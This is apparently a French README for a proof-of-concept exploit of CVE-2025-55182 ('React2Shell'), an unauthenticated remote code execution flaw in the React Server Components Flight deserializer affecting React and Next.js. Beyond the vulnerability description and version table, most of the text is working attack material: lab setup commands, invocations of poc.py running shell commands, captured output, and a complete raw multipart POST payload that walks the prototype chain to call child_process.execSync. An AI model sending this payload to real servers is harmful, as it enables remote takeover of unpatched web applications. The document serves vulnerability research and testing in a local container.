
CVE-2025-55182 — React2Shell
CVE-2025-55182 ("React2Shell") est une vulnérabilité RCE sans authentification, notée CVSS 10.0, présente dans le déserialisateur du protocole Flight des React Server Components.
Dans le client du protocole Flight de React, la fonction reviveModel ne vérifie pas les clés d'objet avec hasOwnProperty, ce qui permet à un attaquant de parcourir la chaîne de prototypes __proto__ → constructor → Function constructor et d'exécuter du JavaScript arbitraire.
Une seule requête POST multipart avec l'en-tête Next-Action déclenche la déserialisation avant l'authentification, permettant ainsi une attaque sans nécessiter d'authentification.
| Composant | Version vulnérable | Version corrigée |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py # Script d'exploitation
└── target/ # Application Next.js vulnérable
├── Containerfile # Pour la construction podman
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
requests — Exécution du PoCnix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
Le résultat de l'exécution de la commande est renvoyé dans le champ digest du JSON de réponse.
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# Écriture de fichier
python poc.py http://localhost:3000 "touch /tmp/pwned"
# Vérification dans le conteneur
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能
En supposant que Burp est en cours d'exécution sur localhost:8080
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln